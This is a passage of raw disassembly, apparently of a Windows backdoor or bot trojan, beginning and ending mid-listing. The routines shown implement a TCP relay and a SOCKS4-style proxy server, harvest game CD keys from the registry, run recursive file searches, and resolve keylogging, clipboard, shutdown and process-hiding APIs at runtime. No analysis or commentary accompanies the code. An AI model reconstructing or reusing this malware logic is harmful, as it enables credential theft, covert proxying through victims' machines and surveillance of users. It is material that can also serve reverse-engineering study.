near ; DATA XREF: sub_407B36+11Co var_1344 = byte ptr -1344h var_344 = byte ptr -344h var_144 = byte ptr -144h var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1344h call sub_415B90 mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd mov ebx, [ebp+var_30] xor ecx, ecx inc ecx push 6 push ecx push 2 mov [eax+120h], ecx mov [ebp+var_4], ebx call dword_43C5D4 ; socket mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+arg_0], esi jz loc_407E20 push 10h lea eax, [ebp+var_18] push edi push eax call sub_415390 add esp, 0Ch mov [ebp+var_18], 2 push [ebp+var_3C] call dword_43C554 ; ntohs mov [ebp+var_16], ax lea eax, [ebp+var_13C] push eax call dword_43C594 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_407D4D lea eax, [ebp+var_13C] push eax call dword_43C5D8 ; gethostbyname jmp short loc_407D5B ; --------------------------------------------------------------------------- loc_407D4D: ; CODE XREF: sub_407CBD+7Fj push 2 lea eax, [ebp+var_8] push 4 push eax call dword_43C50C ; gethostbyaddr loc_407D5B: ; CODE XREF: sub_407CBD+8Ej cmp eax, edi jz loc_407E20 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp+var_14], eax lea eax, [ebp+var_18] push eax push esi call dword_43C4FC ; connect cmp eax, 0FFFFFFFFh jz loc_407E20 movzx eax, [ebp+var_16] push [ebp+var_34] mov [ebp+var_20], edi push eax push [ebp+var_14] call dword_43C5E0 ; inet_ntoa push eax lea eax, [ebp+var_344] push offset unk_427C88 push eax call sub_415316 push esi lea eax, [ebp+var_344] push 10h push eax call sub_414DDA imul ebx, 234h mov [ebp+var_30], eax imul eax, 234h mov ecx, [ebp+var_34] lea esi, dword_4416D4[ebx] mov dword_4416CC[eax], ecx add esp, 20h mov ecx, [esi] mov dword_4416D8[eax], ecx lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_144] push edi push eax push offset sub_407EA5 push edi push edi call dword_42108C ; CreateThread mov ecx, [ebp+var_30] imul ecx, 234h cmp eax, edi mov dword_4416DC[ecx], eax jnz short loc_407E59 call dword_421088 ; RtlGetLastWin32Error push eax push offset unk_427C30 call sub_40B0EC pop ecx pop ecx loc_407E20: ; CODE XREF: sub_407CBD+44j ; sub_407CBD+A0j ... mov eax, [ebp+var_4] imul eax, 234h push dword_4416D4[eax] call dword_43C5EC ; closesocket push [ebp+arg_0] call dword_43C5EC ; closesocket push [ebp+var_4] call sub_4150F0 pop ecx push edi call dword_421048 ; ExitThread pop edi pop esi pop ebx loc_407E51: ; CODE XREF: sub_407CBD+19Fj push 32h call dword_421060 ; Sleep loc_407E59: ; CODE XREF: sub_407CBD+14Ej cmp [ebp+var_20], edi jz short loc_407E51 mov ebx, 1000h loc_407E63: ; CODE XREF: sub_407CBD+1E1j push ebx lea eax, [ebp+var_1344] push edi push eax call sub_415390 add esp, 0Ch lea eax, [ebp+var_1344] push edi push ebx push eax push dword ptr [esi] call dword_43C56C ; recv cmp eax, edi jle short loc_407E20 push edi push eax lea eax, [ebp+var_1344] push eax push [ebp+arg_0] call dword_43C5A4 ; send cmp eax, 0FFFFFFFFh jnz short loc_407E63 jmp loc_407E20 sub_407CBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407EA5 proc near ; DATA XREF: sub_407CBD+130o var_1128 = byte ptr -1128h var_128 = byte ptr -128h var_14 = dword ptr -14h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1128h call sub_415B90 mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_128] rep movsd mov esi, [ebp+var_14] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_407EDC: ; CODE XREF: sub_407EA5+7Cj push edi lea eax, [ebp+var_1128] push 0 push eax call sub_415390 add esp, 0Ch lea eax, [ebp+var_1128] push 0 push edi push eax push dword_4416D8[esi] call dword_43C56C ; recv test eax, eax jle short loc_407F23 push 0 push eax lea eax, [ebp+var_1128] push eax push dword_4416D4[esi] call dword_43C5A4 ; send cmp eax, 0FFFFFFFFh jnz short loc_407EDC loc_407F23: ; CODE XREF: sub_407EA5+61j push dword_4416D8[esi] call dword_43C5EC ; closesocket push [ebp+var_14] call sub_4150F0 pop ecx push 0 call dword_421048 ; ExitThread pop edi pop esi sub_407EA5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407F42 proc near ; DATA XREF: sub_40CD3A+587Co var_2D4 = byte ptr -2D4h var_D4 = dword ptr -0D4h var_D0 = byte ptr -0D0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_28 = dword ptr -28h var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 10h mov esi, eax pop ebx lea edi, [ebp+var_D4] push 2Ch mov [ebp+var_4], ebx pop ecx rep movsd xor edi, edi xor esi, esi inc edi push ebx mov [eax+0A8h], edi lea eax, [ebp+var_14] push esi push eax call sub_415390 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+var_40] call dword_43C554 ; ntohs push 6 push edi push 2 mov [ebp+var_12], ax mov [ebp+var_10], esi call dword_43C5D4 ; socket mov edi, eax mov eax, [ebp+var_3C] imul eax, 234h push ebx mov dword_4416D4[eax], edi lea eax, [ebp+var_14] push eax push edi call dword_43C580 ; bind test eax, eax jnz loc_4080E3 push 0Ah push edi call dword_43C57C ; listen test eax, eax jnz loc_4080E3 push [ebp+var_40] push [ebp+var_D4] call sub_40A08A pop ecx push eax lea eax, [ebp+var_2D4] push offset unk_427DD0 push eax call sub_415316 add esp, 10h cmp [ebp+var_30], esi jnz short loc_40801D push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_412BD1 add esp, 14h loc_40801D: ; CODE XREF: sub_407F42+B9j ; sub_407F42+18Aj ... lea eax, [ebp+var_2D4] push eax call sub_40B078 pop ecx lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push edi call dword_43C5E8 ; accept push [ebp+var_3C] mov ebx, eax movzx eax, [ebp+var_22] push eax mov [ebp+var_28], esi push [ebp+var_20] call dword_43C5E0 ; inet_ntoa push eax lea eax, [ebp+var_2D4] push offset unk_427D78 push eax call sub_415316 push ebx lea eax, [ebp+var_2D4] push 11h push eax call sub_414DDA mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_4416CC[eax], ecx lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_D4] push esi push eax push offset sub_408146 push esi push esi call dword_42108C ; CreateThread mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_4416DC[ecx], eax jnz short loc_4080D9 call dword_421088 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2D4] push offset unk_427D28 push eax call sub_415316 add esp, 0Ch jmp loc_40801D ; --------------------------------------------------------------------------- loc_4080D1: ; CODE XREF: sub_407F42+19Aj push 5 call dword_421060 ; Sleep loc_4080D9: ; CODE XREF: sub_407F42+16Dj cmp [ebp+var_28], esi jz short loc_4080D1 jmp loc_40801D ; --------------------------------------------------------------------------- loc_4080E3: ; CODE XREF: sub_407F42+7Bj ; sub_407F42+8Cj push edi call dword_43C5EC ; closesocket push [ebp+var_40] lea eax, [ebp+var_2D4] push offset unk_427CE0 push eax call sub_415316 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_408126 push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_412BD1 add esp, 14h loc_408126: ; CODE XREF: sub_407F42+1C2j lea eax, [ebp+var_2D4] push eax call sub_40B078 push [ebp+var_3C] call sub_4150F0 pop ecx pop ecx push esi call dword_421048 ; ExitThread pop edi pop esi pop ebx sub_407F42 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408146 proc near ; DATA XREF: sub_407F42+14Fo var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_4D0 = byte ptr -4D0h var_4CF = byte ptr -4CFh var_4CE = word ptr -4CEh var_4CC = dword ptr -4CCh var_4C8 = byte ptr -4C8h var_C8 = byte ptr -0C8h var_44 = byte ptr -44h var_2C = dword ptr -2Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 2Ch mov esi, eax pop ecx lea edi, [ebp+var_C8] rep movsd mov esi, [ebp+var_2C] xor edi, edi mov [ebp+arg_0], esi imul esi, 234h inc edi lea esi, dword_4416D4[esi] mov [eax+0ACh], edi xor ebx, ebx mov eax, [esi] mov [ebp+var_8], 5 mov [ebp+var_5D0], eax lea eax, [ebp+var_8] push eax push ebx lea eax, [ebp+var_5D4] push ebx push eax push ebx mov [ebp+var_4], ebx mov [ebp+var_5D4], edi call dword_43C53C ; select test eax, eax jnz short loc_4081C7 push dword ptr [esi] call dword_43C5EC ; closesocket push [ebp+arg_0] call sub_4150F0 pop ecx push ebx call dword_421048 ; ExitThread loc_4081C7: ; CODE XREF: sub_408146+67j push ebx lea eax, [ebp+var_4D0] push 408h push eax push dword ptr [esi] call dword_43C56C ; recv test eax, eax jg short loc_4081F8 push dword ptr [esi] call dword_43C5EC ; closesocket push [ebp+arg_0] call sub_4150F0 pop ecx push ebx call dword_421048 ; ExitThread loc_4081F8: ; CODE XREF: sub_408146+98j cmp [ebp+var_4D0], 4 jnz loc_4083F2 cmp [ebp+var_4CF], 1 jnz loc_4083F2 cmp [ebp+var_44], bl jz short loc_40828E lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax call sub_415730 pop ecx test eax, eax pop ecx jz short loc_40828E lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax push offset unk_427EB8 call sub_40B0EC push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Dh call sub_415390 add esp, 18h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43C5A4 ; send push dword ptr [esi] call dword_43C5EC ; closesocket push [ebp+arg_0] call sub_4150F0 pop ecx push ebx call dword_421048 ; ExitThread loc_40828E: ; CODE XREF: sub_408146+CFj ; sub_408146+E5j push 10h lea eax, [ebp+var_18] push ebx push eax call sub_415390 mov ax, [ebp+var_4CE] add esp, 0Ch mov [ebp+var_16], ax mov eax, [ebp+var_4CC] push 6 push edi push 2 mov [ebp+var_18], 2 mov [ebp+var_14], eax call dword_43C5D4 ; socket mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_408326 call dword_43C4E8 ; WSAGetLastError push eax push offset unk_427E68 call sub_40B0EC push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_415390 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43C5A4 ; send push dword ptr [esi] call dword_43C5EC ; closesocket push [ebp+arg_0] call sub_4150F0 pop ecx push ebx call dword_421048 ; ExitThread loc_408326: ; CODE XREF: sub_408146+181j lea eax, [ebp+var_18] push 10h push eax push edi call dword_43C4FC ; connect cmp eax, 0FFFFFFFFh jnz short loc_408395 call dword_43C4E8 ; WSAGetLastError push eax push offset unk_427E10 call sub_40B0EC push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_415390 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43C5A4 ; send push dword ptr [esi] call dword_43C5EC ; closesocket push [ebp+arg_0] call sub_4150F0 pop ecx push ebx call dword_421048 ; ExitThread loc_408395: ; CODE XREF: sub_408146+1F0j push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Ah call sub_415390 add esp, 0Ch lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43C5A4 ; send push dword ptr [esi] push edi call sub_40840A pop ecx pop ecx push edi call dword_43C5EC ; closesocket push dword ptr [esi] call dword_43C5EC ; closesocket push [ebp+arg_0] call sub_4150F0 pop ecx push ebx call dword_421048 ; ExitThread loc_4083F2: ; CODE XREF: sub_408146+B9j ; sub_408146+C6j push dword ptr [esi] call dword_43C5EC ; closesocket push [ebp+arg_0] call sub_4150F0 pop ecx push ebx call dword_421048 ; ExitThread sub_408146 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40840A proc near ; CODE XREF: sub_408146+286p var_504 = byte ptr -504h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi mov esi, 400h loc_408420: ; CODE XREF: sub_40840A+BEj ; sub_40840A+EEj xor ecx, ecx mov [ebp+var_100], ebx inc ecx xor eax, eax mov [ebp+var_104], ecx loc_408431: ; CODE XREF: sub_40840A+36j mov edx, [ebp+arg_0] cmp [ebp+eax*4+var_100], edx jz short loc_408442 inc eax cmp eax, ecx jb short loc_408431 loc_408442: ; CODE XREF: sub_40840A+31j cmp eax, ecx jnz short loc_408456 mov [ebp+var_FC], edx mov [ebp+var_104], 2 loc_408456: ; CODE XREF: sub_40840A+3Aj push esi lea eax, [ebp+var_504] push edi push eax call sub_415390 add esp, 0Ch lea eax, [ebp+var_104] push edi push edi push edi push eax push edi call dword_43C53C ; select lea eax, [ebp+var_104] push eax push ebx call dword_43C44C ; __WSAFDIsSet test eax, eax jz short loc_4084B6 push edi lea eax, [ebp+var_504] push esi push eax push ebx call dword_43C56C ; recv cmp eax, 0FFFFFFFFh jz short loc_4084FE push edi push eax lea eax, [ebp+var_504] push eax push [ebp+arg_0] call dword_43C5A4 ; send cmp eax, 0FFFFFFFFh jz short loc_4084FE loc_4084B6: ; CODE XREF: sub_40840A+7Ej lea eax, [ebp+var_104] push eax push [ebp+arg_0] call dword_43C44C ; __WSAFDIsSet test eax, eax jz loc_408420 push edi lea eax, [ebp+var_504] push esi push eax push [ebp+arg_0] call dword_43C56C ; recv cmp eax, 0FFFFFFFFh jz short loc_4084FE push edi push eax lea eax, [ebp+var_504] push eax push ebx call dword_43C5A4 ; send cmp eax, 0FFFFFFFFh jnz loc_408420 loc_4084FE: ; CODE XREF: sub_40840A+93j ; sub_40840A+AAj ... pop edi pop esi pop ebx leave retn sub_40840A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408503 proc near ; CODE XREF: sub_40CD3A+525Bp var_3F4 = byte ptr -3F4h var_2F0 = byte ptr -2F0h var_F0 = byte ptr -0F0h var_70 = byte ptr -70h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 3F4h push ebx xor ebx, ebx cmp off_427F0C, ebx mov [ebp+var_C], 80h jz loc_4086AF push esi push edi mov eax, offset off_427F0C mov esi, offset dword_427F18 mov edi, offset aSCdKeyS_ ; "%s CD Key: (%s)." loc_408533: ; CODE XREF: sub_408503+1A4j lea ecx, [ebp+var_4] push ecx push 20019h push ebx push dword ptr [eax] push dword ptr [esi-10h] call dword_43C5C4 ; RegOpenKeyExA lea eax, [ebp+var_C] push eax lea eax, [ebp+var_F0] push eax push ebx push ebx push dword ptr [esi-8] push [ebp+var_4] call dword_43C460 ; RegQueryValueExA test eax, eax jnz loc_408696 mov eax, [esi] cmp eax, ebx jz loc_40865A push eax lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_3F4] push offset aSS_3 ; "%s\\%s" push eax call sub_415316 lea eax, [ebp+var_3F4] push offset aR ; "r" push eax call sub_415A08 add esp, 18h cmp eax, ebx mov [ebp+var_8], eax jz loc_408696 push eax jmp short loc_4085C3 ; --------------------------------------------------------------------------- loc_4085AE: ; CODE XREF: sub_408503+D0j push dword ptr [esi+4] lea eax, [ebp+var_70] push eax call sub_4158E0 pop ecx test eax, eax pop ecx jz short loc_4085D7 push [ebp+var_8] loc_4085C3: ; CODE XREF: sub_408503+A9j lea eax, [ebp+var_70] push 64h push eax call sub_416FDC add esp, 0Ch test eax, eax jnz short loc_4085AE jmp short loc_40864F ; --------------------------------------------------------------------------- loc_4085D7: ; CODE XREF: sub_408503+BBj push 3Dh push dword ptr [esi+4] call sub_416F20 pop ecx test eax, eax pop ecx lea eax, [ebp+var_70] jz short loc_408616 push offset asc_429120 ; "=" push eax call sub_416B3F push offset asc_429120 ; "=" push ebx call sub_416B3F push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_415316 add esp, 20h jmp short loc_40862A ; --------------------------------------------------------------------------- loc_408616: ; CODE XREF: sub_408503+E5j push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_415316 add esp, 10h loc_40862A: ; CODE XREF: sub_408503+111j push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412BD1 lea eax, [ebp+var_2F0] push eax call sub_40B078 add esp, 18h loc_40864F: ; CODE XREF: sub_408503+D2j push [ebp+var_8] call sub_415960 pop ecx jmp short loc_408696 ; --------------------------------------------------------------------------- loc_40865A: ; CODE XREF: sub_408503+6Aj lea eax, [ebp+var_F0] push eax lea eax, [ebp+var_2F0] push dword ptr [esi-4] push edi push eax call sub_415316 push ebx lea eax, [ebp+var_2F0] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412BD1 lea eax, [ebp+var_2F0] push eax call sub_40B078 add esp, 28h loc_408696: ; CODE XREF: sub_408503+60j ; sub_408503+A2j ... push [ebp+var_4] call dword_43C530 ; RegCloseKey add esi, 18h lea eax, [esi-0Ch] cmp [eax], ebx jnz loc_408533 pop edi pop esi loc_4086AF: ; CODE XREF: sub_408503+19j pop ebx leave retn sub_408503 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4086B2 proc near ; DATA XREF: sub_40CD3A+3B87o var_49C = byte ptr -49Ch var_29C = dword ptr -29Ch var_298 = byte ptr -298h var_218 = byte ptr -218h var_115 = byte ptr -115h var_114 = byte ptr -114h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0A7h mov esi, eax lea edi, [ebp+var_29C] rep movsd mov dword ptr [eax+298h], 1 lea eax, [ebp+var_114] push eax call sub_415B10 xor ebx, ebx cmp [ebp+eax+var_115], 5Ch pop ecx jnz short loc_408707 lea eax, [ebp+var_114] push eax call sub_415B10 pop ecx mov [ebp+eax+var_115], bl loc_408707: ; CODE XREF: sub_4086B2+3Fj lea eax, [ebp+var_218] push eax push offset unk_429178 lea eax, [ebp+var_49C] push 200h push eax call sub_41588A add esp, 10h cmp [ebp+var_8], ebx jnz short loc_40874C push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_412BD1 add esp, 14h loc_40874C: ; CODE XREF: sub_4086B2+78j lea eax, [ebp+var_114] push ebx push eax lea eax, [ebp+var_218] push eax lea eax, [ebp+var_298] push [ebp+var_C] push eax push [ebp+var_29C] call sub_4087CA push eax lea eax, [ebp+var_49C] push offset unk_429144 push eax call sub_415316 add esp, 24h cmp [ebp+var_8], ebx jnz short loc_4087AA push ebx lea eax, [ebp+var_49C] push [ebp+var_C] push eax lea eax, [ebp+var_298] push eax push [ebp+var_29C] call sub_412BD1 add esp, 14h loc_4087AA: ; CODE XREF: sub_4086B2+D6j lea eax, [ebp+var_49C] push eax call sub_40B078 push [ebp+var_10] call sub_4150F0 pop ecx pop ecx push ebx call dword_421048 ; ExitThread pop edi pop esi pop ebx sub_4086B2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4087CA proc near ; CODE XREF: sub_4086B2+B9p ; sub_4087CA+9Ep var_54C = byte ptr -54Ch var_34C = byte ptr -34Ch var_248 = byte ptr -248h var_144 = byte ptr -144h var_118 = byte ptr -118h var_117 = byte ptr -117h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 54Ch push ebx push esi push edi mov esi, 104h push [ebp+arg_10] lea eax, [ebp+var_248] push offset aS_3 ; "%s\\*" push esi push eax call sub_41588A mov edi, dword_4210A8 add esp, 10h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi ; FindFirstFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax mov ebx, offset aSS_3 ; "%s\\%s" jz short loc_408887 loc_408816: ; CODE XREF: sub_4087CA+BBj test [ebp+var_144], 10h jz short loc_408873 cmp [ebp+var_118], 2Eh jnz short loc_40883A cmp [ebp+var_117], 0 jz short loc_408873 cmp [ebp+var_117], 2Eh jz short loc_408873 loc_40883A: ; CODE XREF: sub_4087CA+5Cj lea eax, [ebp+var_118] push eax lea eax, [ebp+var_34C] push [ebp+arg_10] push ebx push esi push eax call sub_41588A push [ebp+arg_14] lea eax, [ebp+var_34C] push eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4087CA add esp, 2Ch mov [ebp+arg_14], eax loc_408873: ; CODE XREF: sub_4087CA+53j ; sub_4087CA+65j ... lea eax, [ebp+var_144] push eax push [ebp+var_4] call dword_4210A4 ; FindNextFileA test eax, eax jnz short loc_408816 loc_408887: ; CODE XREF: sub_4087CA+4Aj push [ebp+var_4] call dword_421098 ; FindClose push [ebp+arg_C] lea eax, [ebp+var_248] push [ebp+arg_10] push ebx push esi push eax call sub_41588A add esp, 14h lea eax, [ebp+var_144] push eax lea eax, [ebp+var_248] push eax call edi ; FindFirstFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40890D loc_4088BE: ; CODE XREF: sub_4087CA+141j lea eax, [ebp+var_118] inc [ebp+arg_14] push eax lea eax, [ebp+var_54C] push [ebp+arg_10] push offset aFoundSS ; " Found: %s\\%s" push 200h push eax call sub_41588A push 1 lea eax, [ebp+var_54C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_412BD1 add esp, 28h lea eax, [ebp+var_144] push eax push esi call dword_4210A4 ; FindNextFileA test eax, eax jnz short loc_4088BE loc_40890D: ; CODE XREF: sub_4087CA+F2j push esi call dword_421098 ; FindClose mov eax, [ebp+arg_14] pop edi pop esi pop ebx leave retn sub_4087CA endp ; =============== S U B R O U T I N E ======================================= sub_40891C proc near ; CODE XREF: sub_40C574+55p push ebx push ebp mov ebp, dword_4210C8 push esi push edi push offset aKernel32_dll_0 ; "kernel32.dll" call ebp ; GetModuleHandleA mov esi, dword_4210C4 mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_408A3C push offset aSeterrormode ; "SetErrorMode" push edi call esi ; GetProcAddress push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_43C600, eax call esi ; GetProcAddress push offset aProcess32first ; "Process32First" push edi mov dword_43C574, eax call esi ; GetProcAddress push offset aProcess32next ; "Process32Next" push edi mov dword_43C558, eax call esi ; GetProcAddress push offset aModule32first ; "Module32First" push edi mov dword_43C474, eax call esi ; GetProcAddress push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_43C420, eax call esi ; GetProcAddress push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_43C450, eax call esi ; GetProcAddress push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_43C4C4, eax call esi ; GetProcAddress push offset aSearchpatha ; "SearchPathA" push edi mov dword_43C5B4, eax call esi ; GetProcAddress push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_43C60C, eax call esi ; GetProcAddress push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_43C480, eax call esi ; GetProcAddress cmp dword_43C600, ebx mov dword_43C468, eax jz short loc_408A1A cmp dword_43C574, ebx jz short loc_408A1A cmp dword_43C558, ebx jz short loc_408A1A cmp dword_43C474, ebx jz short loc_408A1A cmp dword_43C450, ebx jz short loc_408A1A cmp dword_43C4C4, ebx jz short loc_408A1A cmp dword_43C5B4, ebx jz short loc_408A1A cmp dword_43C60C, ebx jz short loc_408A1A cmp dword_43C480, ebx jz short loc_408A1A cmp eax, ebx jnz short loc_408A24 loc_408A1A: ; CODE XREF: sub_40891C+B8j ; sub_40891C+C0j ... mov dword_43C610, 1 loc_408A24: ; CODE XREF: sub_40891C+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi ; GetProcAddress cmp eax, ebx mov dword_43C58C, eax jz short loc_408A51 push 1 push ebx call eax jmp short loc_408A51 ; --------------------------------------------------------------------------- loc_408A3C: ; CODE XREF: sub_40891C+1Dj call dword_421088 ; RtlGetLastWin32Error mov dword_43C614, eax mov dword_43C610, 1 loc_408A51: ; CODE XREF: sub_40891C+117j ; sub_40891C+11Ej push offset aUser32_dll ; "user32.dll" call dword_4210C0 ; LoadLibraryA mov edi, eax cmp edi, ebx jz loc_408B66 push offset aSendmessagea ; "SendMessageA" push edi call esi ; GetProcAddress push offset aFindwindowa ; "FindWindowA" push edi mov dword_43C5B0, eax call esi ; GetProcAddress push offset aIswindow ; "IsWindow" push edi mov dword_43C560, eax call esi ; GetProcAddress push offset aDestroywindow ; "DestroyWindow" push edi mov dword_43C4F4, eax call esi ; GetProcAddress push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_43C604, eax call esi ; GetProcAddress push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_43C524, eax call esi ; GetProcAddress push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_43C544, eax call esi ; GetProcAddress push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_43C5A8, eax call esi ; GetProcAddress cmp dword_43C5B0, ebx mov dword_43C49C, eax jz short loc_408B0A cmp dword_43C560, ebx jz short loc_408B0A cmp dword_43C4F4, ebx jz short loc_408B0A cmp dword_43C604, ebx jz short loc_408B0A cmp dword_43C524, ebx jz short loc_408B0A cmp dword_43C544, ebx jz short loc_408B0A cmp dword_43C5A8, ebx jz short loc_408B0A cmp eax, ebx jnz short loc_408B14 loc_408B0A: ; CODE XREF: sub_40891C+1B8j ; sub_40891C+1C0j ... mov dword_43C618, 1 loc_408B14: ; CODE XREF: sub_40891C+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi ; GetProcAddress push offset aGetkeystate ; "GetKeyState" push edi mov dword_43C520, eax call esi ; GetProcAddress push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_43C434, eax call esi ; GetProcAddress push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_43C4F0, eax call esi ; GetProcAddress cmp dword_43C520, ebx mov dword_43C4DC, eax jz short loc_408B71 cmp dword_43C434, ebx jz short loc_408B71 cmp dword_43C4F0, ebx jz short loc_408B71 cmp eax, ebx jnz short loc_408B7B jmp short loc_408B71 ; --------------------------------------------------------------------------- loc_408B66: ; CODE XREF: sub_40891C+144j call dword_421088 ; RtlGetLastWin32Error mov dword_43C61C, eax loc_408B71: ; CODE XREF: sub_40891C+232j ; sub_40891C+23Aj ... mov dword_43C618, 1 loc_408B7B: ; CODE XREF: sub_40891C+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp ; GetModuleHandleA mov edi, eax cmp edi, ebx jz loc_408D16 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi ; GetProcAddress push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_43C5C4, eax call esi ; GetProcAddress push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_43C508, eax call esi ; GetProcAddress push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_43C578, eax call esi ; GetProcAddress push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_43C460, eax call esi ; GetProcAddress push offset aRegclosekey ; "RegCloseKey" push edi mov dword_43C4C0, eax call esi ; GetProcAddress cmp dword_43C5C4, ebx mov dword_43C530, eax jz short loc_408C06 cmp dword_43C508, ebx jz short loc_408C06 cmp dword_43C578, ebx jz short loc_408C06 cmp dword_43C460, ebx jz short loc_408C06 cmp dword_43C4C0, ebx jz short loc_408C06 cmp eax, ebx jnz short loc_408C10 loc_408C06: ; CODE XREF: sub_40891C+2C4j ; sub_40891C+2CCj ... mov dword_43C620, 1 loc_408C10: ; CODE XREF: 